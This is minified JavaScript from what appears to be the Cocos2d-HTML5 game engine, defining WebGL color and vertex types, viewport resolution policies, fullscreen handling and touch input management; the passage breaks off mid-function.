- b.DST_ALPHA=772;b.DST_COLOR=774;b.ONE_MINUS_SRC_ALPHA=771;b.ONE_MINUS_SRC_COLOR=769;b.ONE_MINUS_DST_ALPHA=773;b.ONE_MINUS_DST_COLOR=775;b.ONE_MINUS_CONSTANT_ALPHA=32772;b.ONE_MINUS_CONSTANT_COLOR=32770;b.bp=function(){if(b.nt==b.W){var a=b.l.getError();a&&b.log(b.f.bp,a)}};b.Q7=0;b.O7=1;b.R7=2;b.P7=3;b.N7=2;b.D9=0;b.Kd=1;b.Gu=2;b.In=4;b.Jl=b.Kd|b.Gu|b.In;b.e8=0;b.ob=0;b.ve=1;b.vd=2;b.E9=3;b.DA=0;b.CA=1;b.Pq=2;b.HA=3;b.GA=4;b.BA=5;b.EA=6;b.FA=7;b.A9=8;b.Vi="ShaderPositionTextureColor";b.ru="ShaderPositionTextureColorAlphaTest";
- b.qu="ShaderPositionColor";b.Gq="ShaderPositionTexture";b.hA="ShaderPositionTexture_uColor";b.gA="ShaderPositionTextureA8Color";b.iA="ShaderPosition_uColor";b.VH="ShaderPositionLengthTextureColor";b.cV="CC_PMatrix";b.aV="CC_MVMatrix";b.bV="CC_MVPMatrix";b.gV="CC_Time";b.fV="CC_SinTime";b.$U="CC_CosTime";b.dV="CC_Random01";b.eV="CC_Texture0";b.SI="CC_alpha_value";b.Zp="a_color";b.ul="a_position";b.pn="a_texCoord";b.bS=32;b.YG=3233828865;b.Hu=3233828866;b.zS=8801;b.mT=8802;b.sR=8803;
- b.us=function(a,c){if(a&&0<a.length)for(var d=0;d<a.length;d++)if(!(a[d]instanceof c))return b.log("element type is wrong!"),!1;return!0};b.Je=function(a,c){for(var d=0,e=a.length;d<e;d++)if(a[d]==c){a.splice(d,1);break}};b.baa=function(a,c){for(var d=0,e=c.length;d<e;d++)b.Je(a,c[d])};b.aaa=function(a,c,d){a.splice.apply(a,[d,0].concat(c));return a};b.TM=function(a){var c,d=a.length,e=Array(d);for(c=0;c<d;c+=1)e[c]=a[c];return e};b=b||{};b.H=b.H||{};
- b.H.LA=function(){b.color=function(a,d,e,f,g,h){return void 0===a?new b.tf(0,0,0,255,g,h):"string"===typeof a?(a=b.gO(a),new b.tf(a.r,a.g,a.b,a.a)):"object"===typeof a?new b.tf(a.r,a.g,a.b,a.a,a.Vw,a.offset):new b.tf(a,d,e,f,g,h)};b.tf=function(a,d,e,f,g,h){this.Vc=g||new ArrayBuffer(b.tf.BYTES_PER_ELEMENT);this.wa=h||0;g=this.Vc;h=this.wa;var k=Uint8Array.BYTES_PER_ELEMENT;this.NC=new Uint8Array(g,h,1);this.IB=new Uint8Array(g,h+k,1);this.bB=new Uint8Array(g,h+2*k,1);this.UA=new Uint8Array(g,h+3*
- k,1);this.NC[0]=a||0;this.IB[0]=d||0;this.bB[0]=e||0;this.UA[0]=null==f?255:f;void 0===f&&(this.wM=!0)};b.tf.BYTES_PER_ELEMENT=4;var a=b.tf.prototype;a.gX=function(){return this.NC[0]};a.XY=function(a){this.NC[0]=0>a?0:a};a.VW=function(){return this.IB[0]};a.SY=function(a){this.IB[0]=0>a?0:a};a.NW=function(){return this.bB[0]};a.JY=function(a){this.bB[0]=0>a?0:a};a.JW=function(){return this.UA[0]};a.IY=function(a){this.UA[0]=0>a?0:a};b.j(a,"r",a.gX,a.XY);b.j(a,"g",a.VW,a.SY);b.j(a,"b",a.NW,a.JY);
- b.j(a,"a",a.JW,a.IY);M=function(a,d,e,f){this.Vc=e||new ArrayBuffer(M.BYTES_PER_ELEMENT);this.wa=f||0;this.Am=new Float32Array(this.Vc,this.wa,1);this.Bm=new Float32Array(this.Vc,this.wa+4,1);this.Am[0]=a||0;this.Bm[0]=d||0};M.BYTES_PER_ELEMENT=8;Object.defineProperties(M.prototype,{x:{get:function(){return this.Am[0]},set:function(a){this.Am[0]=a},enumerable:!0},y:{get:function(){return this.Bm[0]},set:function(a){this.Bm[0]=a},enumerable:!0}});N=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(N.BYTES_PER_ELEMENT);
- this.wa=g||0;f=this.Vc;g=this.wa;this.Am=new Float32Array(f,g,1);this.Am[0]=a||0;this.Bm=new Float32Array(f,g+Float32Array.BYTES_PER_ELEMENT,1);this.Bm[0]=d||0;this.eE=new Float32Array(f,g+2*Float32Array.BYTES_PER_ELEMENT,1);this.eE[0]=e||0};N.BYTES_PER_ELEMENT=12;Object.defineProperties(N.prototype,{x:{get:function(){return this.Am[0]},set:function(a){this.Am[0]=a},enumerable:!0},y:{get:function(){return this.Bm[0]},set:function(a){this.Bm[0]=a},enumerable:!0},z:{get:function(){return this.eE[0]},
- set:function(a){this.eE[0]=a},enumerable:!0}});P=function(a,d,e,f){this.Vc=e||new ArrayBuffer(P.BYTES_PER_ELEMENT);this.wa=f||0;this.LD=new Float32Array(this.Vc,this.wa,1);this.RD=new Float32Array(this.Vc,this.wa+4,1);this.LD[0]=a||0;this.RD[0]=d||0};P.BYTES_PER_ELEMENT=8;Object.defineProperties(P.prototype,{fa:{get:function(){return this.LD[0]},set:function(a){this.LD[0]=a},enumerable:!0},ga:{get:function(){return this.RD[0]},set:function(a){this.RD[0]=a},enumerable:!0}});b.bA=function(a,d,e,f,g,
- h){this.Vc=g||new ArrayBuffer(b.bA.BYTES_PER_ELEMENT);this.wa=h||0;g=this.Vc;h=M.BYTES_PER_ELEMENT;this.Qo=a?new M(a.x,a.y,g,0):new M(0,0,g,0);this.To=d?new M(d.x,d.y,g,h):new M(0,0,g,h);this.Nn=e?new M(e.x,e.y,g,2*h):new M(0,0,g,2*h);this.Rn=f?new M(f.x,f.y,g,3*h):new M(0,0,g,3*h)};b.bA.BYTES_PER_ELEMENT=32;b.ku=function(a,d,e,f){this.F=a||new N(0,0,0);this.O=d||new N(0,0,0);this.N=e||new N(0,0,0);this.L=f||new N(0,0,0)};Object.defineProperties(b.bA.prototype,{N:{get:function(){return this.Qo},set:function(a){this.Qo.x=
- a.x;this.Qo.y=a.y},enumerable:!0},L:{get:function(){return this.To},set:function(a){this.To.x=a.x;this.To.y=a.y},enumerable:!0},F:{get:function(){return this.Nn},set:function(a){this.Nn.x=a.x;this.Nn.y=a.y},enumerable:!0},O:{get:function(){return this.Rn},set:function(a){this.Rn.x=a.x;this.Rn.y=a.y},enumerable:!0}});b.og=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.og.BYTES_PER_ELEMENT);this.wa=g||0;f=this.Vc;g=this.wa;var h=N.BYTES_PER_ELEMENT;this.Qa=a?new N(a.x,a.y,a.z,f,g):new N(0,0,0,f,g);
- this.er=d?b.color(d.r,d.g,d.b,d.a,f,g+h):b.color(0,0,0,0,f,g+h);this.Mf=e?new P(e.fa,e.ga,f,g+h+b.tf.BYTES_PER_ELEMENT):new P(0,0,f,g+h+b.tf.BYTES_PER_ELEMENT)};b.og.BYTES_PER_ELEMENT=24;Object.defineProperties(b.og.prototype,{i:{get:function(){return this.Qa},set:function(a){var d=this.Qa;d.x=a.x;d.y=a.y;d.z=a.z},enumerable:!0},t:{get:function(){return this.er},set:function(a){var d=this.er;d.r=a.r;d.g=a.g;d.b=a.b;d.a=a.a},enumerable:!0},n:{get:function(){return this.Mf},set:function(a){this.Mf.fa=
- a.fa;this.Mf.ga=a.ga},enumerable:!0}});b.zb=function(a,d,e,f,g,h){this.Vc=g||new ArrayBuffer(b.zb.BYTES_PER_ELEMENT);this.wa=h||0;g=this.Vc;h=this.wa;var k=b.og.BYTES_PER_ELEMENT;this.Qo=a?new b.og(a.i,a.t,a.n,g,h):new b.og(null,null,null,g,h);this.Nn=d?new b.og(d.i,d.t,d.n,g,h+k):new b.og(null,null,null,g,h+k);this.To=e?new b.og(e.i,e.t,e.n,g,h+2*k):new b.og(null,null,null,g,h+2*k);this.Rn=f?new b.og(f.i,f.t,f.n,g,h+3*k):new b.og(null,null,null,g,h+3*k)};b.zb.BYTES_PER_ELEMENT=96;Object.defineProperties(b.zb.prototype,
- {N:{get:function(){return this.Qo},set:function(a){var d=this.Qo;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},F:{get:function(){return this.Nn},set:function(a){var d=this.Nn;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},L:{get:function(){return this.To},set:function(a){var d=this.To;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},O:{get:function(){return this.Rn},set:function(a){var d=this.Rn;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},Vw:{get:function(){return this.Vc},enumerable:!0}});b.UI=function(){return new b.zb};
- b.TI=function(a){if(!a)return b.UI();var d=a.N,e=a.F,f=a.L;a=a.O;return{N:{i:{x:d.i.x,y:d.i.y,z:d.i.z},t:{r:d.t.r,g:d.t.g,b:d.t.b,a:d.t.a},n:{fa:d.n.fa,ga:d.n.ga}},F:{i:{x:e.i.x,y:e.i.y,z:e.i.z},t:{r:e.t.r,g:e.t.g,b:e.t.b,a:e.t.a},n:{fa:e.n.fa,ga:e.n.ga}},L:{i:{x:f.i.x,y:f.i.y,z:f.i.z},t:{r:f.t.r,g:f.t.g,b:f.t.b,a:f.t.a},n:{fa:f.n.fa,ga:f.n.ga}},O:{i:{x:a.i.x,y:a.i.y,z:a.i.z},t:{r:a.t.r,g:a.t.g,b:a.t.b,a:a.t.a},n:{fa:a.n.fa,ga:a.n.ga}}}};b.C9=function(a){if(!a)return[];for(var d=[],e=0;e<a.length;e++)d.push(b.TI(a[e]));
- return d};b.ud=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.ud.BYTES_PER_ELEMENT);this.wa=g||0;f=this.Vc;g=this.wa;var h=M.BYTES_PER_ELEMENT;this.Qa=a?new M(a.x,a.y,f,g):new M(0,0,f,g);this.er=d?b.color(d.r,d.g,d.b,d.a,f,g+h):b.color(0,0,0,0,f,g+h);this.Mf=e?new P(e.fa,e.ga,f,g+h+b.tf.BYTES_PER_ELEMENT):new P(0,0,f,g+h+b.tf.BYTES_PER_ELEMENT)};b.ud.BYTES_PER_ELEMENT=20;Object.defineProperties(b.ud.prototype,{i:{get:function(){return this.Qa},set:function(a){this.Qa.x=a.x;this.Qa.y=a.y},enumerable:!0},
- t:{get:function(){return this.er},set:function(a){var d=this.er;d.r=a.r;d.g=a.g;d.b=a.b;d.a=a.a},enumerable:!0},n:{get:function(){return this.Mf},set:function(a){this.Mf.fa=a.fa;this.Mf.ga=a.ga},enumerable:!0}});b.Sb=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.Sb.BYTES_PER_ELEMENT);this.wa=g||0;f=this.Vc;g=this.wa;var h=b.ud.BYTES_PER_ELEMENT;this.dJ=a?new b.ud(a.i,a.t,a.n,f,g):new b.ud(null,null,null,f,g);this.lJ=d?new b.ud(d.i,d.t,d.n,f,g+h):new b.ud(null,null,null,f,g+h);this.pJ=e?new b.ud(e.i,
- e.t,e.n,f,g+2*h):new b.ud(null,null,null,f,g+2*h)};b.Sb.BYTES_PER_ELEMENT=60;Object.defineProperties(b.Sb.prototype,{a:{get:function(){return this.dJ},set:function(a){var d=this.dJ;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},b:{get:function(){return this.lJ},set:function(a){var d=this.lJ;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},C:{get:function(){return this.pJ},set:function(a){var d=this.pJ;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0}})};b.H.Vz=function(){var a=b.color;a.rX=function(){return a(255,255,255)};a.sX=function(){return a(255,255,0)};a.PW=function(){return a(0,0,255)};a.XW=function(){return a(0,255,0)};a.hX=function(){return a(255,0,0)};a.bX=function(){return a(255,0,255)};a.OW=function(){return a(0,0,0)};a.fX=function(){return a(255,127,0)};a.WW=function(){return a(166,166,166)};b.j(a,"WHITE",a.rX);b.j(a,"YELLOW",a.sX);b.j(a,"BLUE",a.PW);b.j(a,"GREEN",a.XW);b.j(a,"RED",a.hX);b.j(a,"MAGENTA",a.bX);b.j(a,"BLACK",a.OW);b.j(a,
- "ORANGE",a.fX);b.j(a,"GRAY",a.WW);b.bc.pW=function(){return new b.bc(b.ONE,b.ZERO)};b.bc.FV=function(){return new b.bc(b.ONE,b.ONE_MINUS_SRC_ALPHA)};b.bc.EV=function(){return new b.bc(b.SRC_ALPHA,b.ONE_MINUS_SRC_ALPHA)};b.bc.DV=function(){return new b.bc(b.SRC_ALPHA,b.ONE)};b.j(b.bc,"DISABLE",b.bc.pW);b.j(b.bc,"ALPHA_PREMULTIPLIED",b.bc.FV);b.j(b.bc,"ALPHA_NON_PREMULTIPLIED",b.bc.EV);b.j(b.bc,"ADDITIVE",b.bc.DV)};b.tf=function(a,c,d,e){this.r=a||0;this.g=c||0;this.b=d||0;this.a=null==e?255:e};b.color=function(a,c,d){return void 0===a?{r:0,g:0,b:0,a:255}:"string"===typeof a?b.gO(a):"object"===typeof a?{r:a.r,g:a.g,b:a.b,a:null==a.a?255:a.a}:{r:a,g:c,b:d,a:null==a.a?255:a.a}};b.saa=function(a,c){return a.r===c.r&&a.g===c.g&&a.b===c.b};function fa(){this.timestamp=this.z=this.y=this.x=0}function M(a,c){this.x=a||0;this.y=c||0}b.Xy=function(a,c){return new M(a,c)};
- function N(a,c,d){this.x=a||0;this.y=c||0;this.z=d||0}b.ama=function(a,c,d){return new N(a,c,d)};function P(a,c){this.fa=a||0;this.ga=c||0}b.Ila=function(a,c){return new P(a,c)};b.bc=function(a,c){this.src=a;this.R=c};b.gaa=function(){return new b.bc(b.ONE,b.ZERO)};b.gO=function(a){a=a.replace(/^#?/,"0x");a=parseInt(a);return b.color(a>>16,(a>>8)%256,a%256)};b.taa=function(a){var c=a.r.toString(16),d=a.g.toString(16),e=a.b.toString(16);return"#"+(16>a.r?"0"+c:c)+(16>a.g?"0"+d:d)+(16>a.b?"0"+e:e)};
- b.wu=0;b.Jq=1;b.fI=2;b.Qq=0;b.jV=1;b.VI=2;
- b.K9=b.oa.extend({Bo:null,ms:null,TA:0,ctor:function(){this.Bo={};this.ms={};this.TA=2<<(0|10*Math.random())},yV:function(){this.TA++;return"key_"+this.TA},pka:function(a,c){if(null!=c){var d=this.yV();this.Bo[d]=c;this.ms[d]=a}},K3:function(a){if(null==a)return null;var c=this.Bo,d;for(d in c)if(c[d]===a)return this.ms[d];return null},$la:function(a){return this.K3(a)},w4:function(a){if(null!=a){var c=this.Bo,d;for(d in c)if(c[d]===a){delete this.ms[d];delete c[d];break}}},Wia:function(a){if(null!=
- a)for(var c=0;c<a.length;c++)this.w4(a[c])},h_:function(){var a=[],c=this.Bo,d;for(d in c)a.push(c[d]);return a},Qia:function(){this.Bo={};this.ms={}},count:function(){return this.h_().length}});
- function ga(){this.fontName="Arial";this.fontSize=12;this.textAlign=b.Jq;this.verticalAlign=b.Qq;this.fillStyle=b.color(255,255,255,255);this.boundingHeight=this.boundingWidth=0;this.FG=!1;this.strokeStyle=b.color(255,255,255,255);this.lineWidth=1;this.fQ=!1;this.shadowBlur=this.shadowOffsetY=this.shadowOffsetX=0;this.shadowOpacity=1}b.B===b.W&&(b.assert("function"===typeof b.H.LA,b.f.fd,"CCTypesWebGL.js"),b.H.LA(),delete b.H.LA);b.assert("function"===typeof b.H.Vz,b.f.fd,"CCTypesPropertyDefine.js");
- b.H.Vz();delete b.H.Vz;b.x9=[];b.y9={};
- b.mz=b.oa.extend({U9:null,ce:null,co:null,Fk:null,le:null,wi:null,VC:!1,aB:!0,Pl:1,YD:"",SC:null,ka:1,kL:1,La:1,lL:1,uo:0,mC:5,ph:null,JL:null,NL:null,ML:null,KL:null,LL:null,Br:!1,R9:!1,D$:null,CK:null,DK:null,z$:!1,qB:null,yk:null,HB:1,Mu:!1,MK:!0,ctor:function(){var a=document,c=b.Xj,d=b.kg;this.yk=b.Im.parentNode===a.body?a.documentElement:b.Im.parentNode;this.ce=b.size(0,0);this.VB();var a=b.Wa.width,e=b.Wa.height;this.co=b.size(a,e);this.Fk=b.size(a,e);this.le=b.rect(0,0,a,e);this.wi=b.rect(0,
- 0,a,e);this.qB={left:0,top:0};this.YD="Cocos2dHTML5";a=b.pa;this.v0(a.Zm==a.yq||a.Zm==a.yH);b.mn&&b.mn.ba(this.wi);this.JL=new b.Ue(c.It,d.qz);this.NL=new b.Ue(c.gT,d.SHOW_ALL);this.ML=new b.Ue(c.It,d.Kz);this.KL=new b.Ue(c.It,d.rz);this.LL=new b.Ue(c.It,d.sz);this.CK=b.Wa;this.DK=b.l},TC:function(){var a=this.Fk.width,c=this.Fk.height;this.SC&&(this.VB(),this.SC.call());0<a&&this.jG(a,c,this.ph)},C4:function(a){a?this.Mu||(this.Mu=!0,a=this.TC.bind(this),b.Ha(window,"resize",a,!1)):this.Mu&&(this.Mu=
- !0,a=this.TC.bind(this),window.removeEventListener("resize",a,!1))},Gka:function(a){if("function"==typeof a||null==a)this.SC=a},VB:function(){var a=this.ce;a.width=this.yk.clientWidth;a.height=this.yk.clientHeight},L9:function(){var a=this.Fk.width,c=this.Fk.height;0<a&&this.jG(a,c,this.ph)},pZ:function(){if(this.MK){var a={"user-scalable":"no","maximum-scale":"1.0","initial-scale":"1.0"},c=document.getElementsByName("viewport"),d;0==c.length?(c=b.Rb("meta"),c.name="viewport",c.content="",document.head.appendChild(c)):
- c=c[0];if(b.pa.Mg&&b.pa.Aj==b.pa.$p)c.content="initial-scale:1";else{d=c.content;for(var e in a)RegExp(e).test(d)||(d+=(""==d?"":",")+e+"\x3d"+a[e]);c.content=d}}},qw:function(){var a=b.pb();this.La=this.ka=a},iw:function(){this.ka=this.kL;this.La=this.lL},M9:function(){},C2:function(){this.Br=!0},b_:function(a){this.MK=a},v0:function(a){this.VC=a?!0:!1},Zea:function(){return this.VC},zba:function(a){this.aB=a?!0:!1},Mea:function(){return this.aB},end:function(){},Wea:function(){return null!=this.CK&&
- null!=this.DK},Vja:function(a){this.HB=a;b.J.pl(b.J.rp())},Fla:function(){},aka:function(){},Gja:function(a,c){this.qB={left:a,top:c}},nca:function(){return this.qB},Nca:function(){return b.size(this.ce.width,this.ce.height)},Uja:function(a,c){this.ce.width=a;this.ce.height=c;this.yk.style.width=a+"px";this.yk.style.height=c+"px";this.TC();b.J.pl(b.J.rp())},maa:function(){},tp:function(){return b.size(this.wi.width,this.wi.height)},ux:function(){return b.d(this.wi.x,this.wi.y)},jaa:function(){return!0},
- Hda:function(){return this.ph},x5:function(a){if(a instanceof b.Ue)this.ph=a;else{var c=b.Ue;a===c.qz&&(this.ph=this.JL);a===c.SHOW_ALL&&(this.ph=this.NL);a===c.Kz&&(this.ph=this.ML);a===c.rz&&(this.ph=this.KL);a===c.sz&&(this.ph=this.LL)}},jG:function(a,c,d){if(isNaN(a)||0==a||isNaN(c)||0==c)b.log(b.f.CR);else{this.x5(d);var e=this.ph;if(e){e.bn(this);var f=this.ce.width,g=this.ce.height;b.pa.Mg&&this.pZ(this.ce.width,this.ce.height);this.VB();if(d!=this.ph||a!=this.Fk.width||c!=this.Fk.height||
- f!=this.ce.width||g!=this.ce.height)this.co=b.size(a,c),this.Fk=b.size(a,c),a=e.apply(this,this.co),a.scale&&2==a.scale.length&&(this.ka=a.scale[0],this.La=a.scale[1]),a.viewport&&(a=this.le=a.viewport,c=this.wi,c.width=b.Wa.width/this.ka,c.height=b.Wa.height/this.La,c.x=-a.x/this.ka,c.y=-a.y/this.La),a=b.J,b.sf.width=a.mc.width=this.wi.width,b.sf.height=a.mc.height=this.wi.height,e.an(this),b.B==b.W&&(a.$n(),a.LP()),this.kL=this.ka,this.lL=this.La,b.tR&&b.tR.q$(),b.mn&&b.mn.ba(this.wi)}else b.log(b.f.DR)}},
- VE:function(){return b.size(this.co.width,this.co.height)},R5:function(a,c,d,e){var f=this.HB,g=this.ka,h=this.La;b.l.viewport(a*g*f+this.le.x*f,c*h*f+this.le.y*f,d*g*f,e*h*f)},Ika:function(a,c,d,e){var f=this.HB,g=this.ka,h=this.La;b.l.scissor(a*g*f+this.le.x*f,c*h*f+this.le.y*f,d*g*f,e*h*f)},afa:function(){var a=b.l;return a.isEnabled(a.SCISSOR_TEST)},Mda:function(){var a=b.l,c=this.ka,d=this.La,a=a.getParameter(a.SCISSOR_BOX);return b.rect((a[0]-this.le.x)/c,(a[1]-this.le.y)/d,a[2]/c,a[3]/d)},
- rla:function(a){null!=a&&0<a.length&&(this.YD=a)},tea:function(){return this.YD},uea:function(){return this.le},QN:function(){return this.ka},RN:function(){return this.La},vca:function(){return this.Pl},zE:function(a,c,d){return{x:this.Pl*(a-d.left),y:this.Pl*(d.top+d.height-c)}},jW:function(a,c){var d=this.le;a.x=(this.Pl*(a.x-c.left)-d.x)/this.ka;a.y=(this.Pl*(c.top+c.height-a.y)-d.y)/this.La},dv:function(a){for(var c=this.le,d=this.ka,e=this.La,f,g,h,k=0;k<a.length;k++)f=a[k],g=f.$c,h=f.nh,f.kD((g.x-
- c.x)/d,(g.y-c.y)/e),f.nm((h.x-c.x)/d,(h.y-c.y)/e)}});b.mz.MB=function(){this.Dv||(this.Dv=this.Dv||new b.mz,this.Dv.C2());return this.Dv};
- b.Xj=b.oa.extend({bn:function(){},apply:function(){},an:function(){},oD:function(a,c,d){var e=a.yk;b.view.aB&&b.pa.Mg&&e==document.documentElement&&b.screen.x_(e);var e=b.Wa,f=b.Im;f.style.width=e.style.width=c+"px";f.style.height=e.style.height=d+"px";f=a.Pl=1;a.VC&&(f=a.Pl=window.devicePixelRatio||1);e.width=c*f;e.height=d*f;a=document.body;var g;a&&(g=a.style)&&(g.paddingTop=g.paddingTop||"0px",g.paddingRight=g.paddingRight||"0px",g.paddingBottom=g.paddingBottom||"0px",g.paddingLeft=g.paddingLeft||
- "0px",g.borderTop=g.borderTop||"0px",g.borderRight=g.borderRight||"0px",g.borderBottom=g.borderBottom||"0px",g.borderLeft=g.borderLeft||"0px",g.marginTop=g.marginTop||"0px",g.marginRight=g.marginRight||"0px",g.marginBottom=g.marginBottom||"0px",g.marginLeft=g.marginLeft||"0px")},mK:function(){document.body.insertBefore(b.Im,document.body.firstChild);var a=document.body.style;a.width=window.innerWidth+"px";a.height=window.innerHeight+"px";a.overflow="hidden";a=b.Im.style;a.position="fixed";a.left=
- a.top="0px";document.body.scrollTop=0}});b.kg=b.oa.extend({UC:{scale:[1,1],viewport:null},$q:function(a,c,d,e,f,g){2>Math.abs(a-d)&&(d=a);2>Math.abs(c-e)&&(e=c);a=b.rect(Math.round((a-d)/2),Math.round((c-e)/2),d,e);b.B==b.Aa&&b.l.translate(a.x,a.y+e);this.UC.scale=[f,g];this.UC.viewport=a;return this.UC},bn:function(){},apply:function(){return{scale:[1,1]}},an:function(){}});
- (function(){var a=b.Xj.extend({apply:function(a){this.oD(a,a.ce.width,a.ce.height)}}),c=b.Xj.extend({apply:function(a,c){var d=a.ce.width,e=a.ce.height,f=b.Im.style,q=c.width,r=c.height,t=d/q,s=e/r,u,v;t<s?(u=d,v=r*t):(u=q*s,v=e);q=Math.round((d-u)/2);v=Math.round((e-v)/2);this.oD(a,d-2*q,e-2*v);f.marginLeft=q+"px";f.marginRight=q+"px";f.marginTop=v+"px";f.marginBottom=v+"px"}});a.extend({bn:function(a){this._super(a);a.yk=document.documentElement},apply:function(a){this._super(a);this.mK()}});c.extend({bn:function(a){this._super(a);
- a.yk=document.documentElement},apply:function(a,c){this._super(a,c);this.mK()}});var d=b.Xj.extend({apply:function(a){this.oD(a,b.Wa.width,b.Wa.height)}});b.Xj.It=new a;b.Xj.gT=new c;b.Xj.P8=new d;var a=b.kg.extend({apply:function(a,c){var d=b.Wa.width,e=b.Wa.height;return this.$q(d,e,d,e,d/c.width,e/c.height)}}),c=b.kg.extend({apply:function(a,c){var d=b.Wa.width,e=b.Wa.height,f=c.width,q=c.height,r=d/f,t=e/q,s=0,u,v;r<t?(s=r,u=d,v=q*s):(s=t,u=f*s,v=e);return this.$q(d,e,u,v,s,s)}}),d=b.kg.extend({apply:function(a,
- c){var d=b.Wa.width,e=b.Wa.height,f=c.width,q=c.height,r=d/f,t=e/q,s,u,v;r<t?(s=t,u=f*s,v=e):(s=r,u=d,v=q*s);return this.$q(d,e,u,v,s,s)}}),e=b.kg.extend({apply:function(a,c){var d=b.Wa.width,e=b.Wa.height,f=e/c.height;return this.$q(d,e,d,e,f,f)},an:function(a){b.J.mc=a.tp()}}),f=b.kg.extend({apply:function(a,c){var d=b.Wa.width,e=b.Wa.height,f=d/c.width;return this.$q(d,e,d,e,f,f)},an:function(a){b.J.mc=a.tp()}});b.kg.qz=new a;b.kg.SHOW_ALL=new c;b.kg.Kz=new d;b.kg.rz=new e;b.kg.sz=new f})();
- b.Ue=b.oa.extend({bv:null,cv:null,ctor:function(a,c){this.W4(a);this.X4(c)},bn:function(a){this.bv.bn(a);this.cv.bn(a)},apply:function(a,c){this.bv.apply(a,c);return this.cv.apply(a,c)},an:function(a){this.bv.an(a);this.cv.an(a)},W4:function(a){a instanceof b.Xj&&(this.bv=a)},X4:function(a){a instanceof b.kg&&(this.cv=a)}});b.Ue.qz=0;b.Ue.Kz=1;b.Ue.SHOW_ALL=2;b.Ue.rz=3;b.Ue.sz=4;b.Ue.hV=5;b.screen={Fw:!1,GC:null,ID:"",xk:null,BW:[["requestFullscreen","exitFullscreen","fullscreenchange","fullscreenEnabled","fullscreenElement"],["requestFullScreen","exitFullScreen","fullScreenchange","fullScreenEnabled","fullScreenElement"],["webkitRequestFullScreen","webkitCancelFullScreen","webkitfullscreenchange","webkitIsFullScreen","webkitCurrentFullScreenElement"],["mozRequestFullScreen","mozCancelFullScreen","mozfullscreenchange","mozFullScreen","mozFullScreenElement"],["msRequestFullscreen",
- "msExitFullscreen","MSFullscreenChange","msFullscreenEnabled","msFullscreenElement"]],ba:function(){this.xk={};var a,c,d=this.BW,e;a=0;for(l=d.length;a<l;a++)if((c=d[a])&&c[1]in document){a=0;for(e=c.length;a<e;a++)this.xk[d[0][a]]=c[a];break}this.Fw=void 0!=this.xk.requestFullscreen;this.ID="ontouchstart"in window?"touchstart":"mousedown"},fullScreen:function(){return this.Fw&&document[this.xk.fullscreenEnabled]},uP:function(a,c){if(this.Fw){a=a||document.documentElement;a[this.xk.requestFullscreen]();
- if(c){var d=this.xk.Tba;this.GC&&document.removeEventListener(d,this.GC);this.GC=c;b.Ha(document,d,c,!1)}return a[this.xk.requestFullscreen]()}},Cba:function(){return this.Fw?document[this.xk.exitFullscreen]():!0},x_:function(a,c){function d(){f.uP(a,c);e.removeEventListener(f.ID,d)}a=a||document.body;var e=b.Wa||a,f=this;this.uP(a,c);b.Ha(e,this.ID,d)}};b.screen.ba();b.mn={rQ:b.d(0,0),sQ:b.d(0,0),top:b.d(0,0),kE:b.d(0,0),KM:b.d(0,0),bottom:b.d(0,0),$w:b.d(0,0),left:b.d(0,0),right:b.d(0,0),width:0,height:0,ba:function(a){var c=this.width=a.width,d=this.height=a.height,e=a.x;a=a.y;var f=a+d,g=e+c;this.rQ.x=e;this.rQ.y=f;this.sQ.x=g;this.sQ.y=f;this.top.x=e+c/2;this.top.y=f;this.kE.x=e;this.kE.y=a;this.KM.x=g;this.KM.y=a;this.bottom.x=e+c/2;this.bottom.y=a;this.$w.x=e+c/2;this.$w.y=a+d/2;this.left.x=e;this.left.y=a+d/2;this.right.x=g;this.right.y=a+d/2}};b.XU=-90;b.YU=90;b.ZU=180;b.z9=0;
- b.uO={Do:!1,RK:!1,rL:b.d(0,0),wY:b.d(0,0),sL:[],HC:0,Wk:[],JD:{},uo:0,mC:5,Ou:!1,Pu:1/30,fJ:1,Kl:0,VA:null,Nu:null,pX:function(){for(var a=this.uo,c=0;c<this.mC;c++){if(!(a&1))return this.uo|=1<<c,c;a>>=1}return-1},DY:function(a){0>a||a>=this.mC||(a=~(1<<a),this.uo&=a)},Ak:null,lF:function(a){for(var c,d,e,f=[],g=this.JD,h=0,k=a.length;h<k;h++)if(c=a[h],e=c.wg,d=g[e],null==d){var m=this.pX();-1==m?b.log(b.f.D2,m):(d=this.Wk[m]=new b.Eu(c.$c.x,c.$c.y,c.wg),d.nm(c.nh),g[e]=m,f.push(d))}0<f.length&&
- (this.Ak.dv(f),a=new b.lg(f),a.vk=b.lg.vn.Zy,b.ra.dispatchEvent(a))},mF:function(a){for(var c,d,e=[],f=this.Wk,g=0,h=a.length;g<h;g++)c=a[g],d=c.wg,d=this.JD[d],null!=d&&f[d]&&(f[d].kD(c.$c),f[d].nm(c.nh),e.push(f[d]));0<e.length&&(this.Ak.dv(e),a=new b.lg(e),a.vk=b.lg.vn.Fz,b.ra.dispatchEvent(a))},xx:function(a){a=this.SN(a);0<a.length&&(this.Ak.dv(a),a=new b.lg(a),a.vk=b.lg.vn.nz,b.ra.dispatchEvent(a))},eO:function(a){a=this.SN(a);0<a.length&&(this.Ak.dv(a),a=new b.lg(a),a.vk=b.lg.vn.ez,b.ra.dispatchEvent(a))},
- SN:function(a){for(var c,d,e,f=[],g=this.Wk,h=this.JD,k=0,m=a.length;k<m;k++)c=a[k],e=c.wg,d=h[e],null!=d&&g[d]&&(g[d].kD(c.$c),g[d].nm(c.nh),f.push(g[d]),this.DY(d),delete h[e]);return f},Ih:function(a){var c=document.documentElement,d=window,e=null,e="function"===typeof a.getBoundingClientRect?a.getBoundingClientRect():a instanceof HTMLCanvasElement?{left:0,top:0,width:a.width,height:a.height}:{left:0,top:0,width:parseInt(a.style.width),height:parseInt(a.style.height)};return{left:e.left+d.pageXOffset-
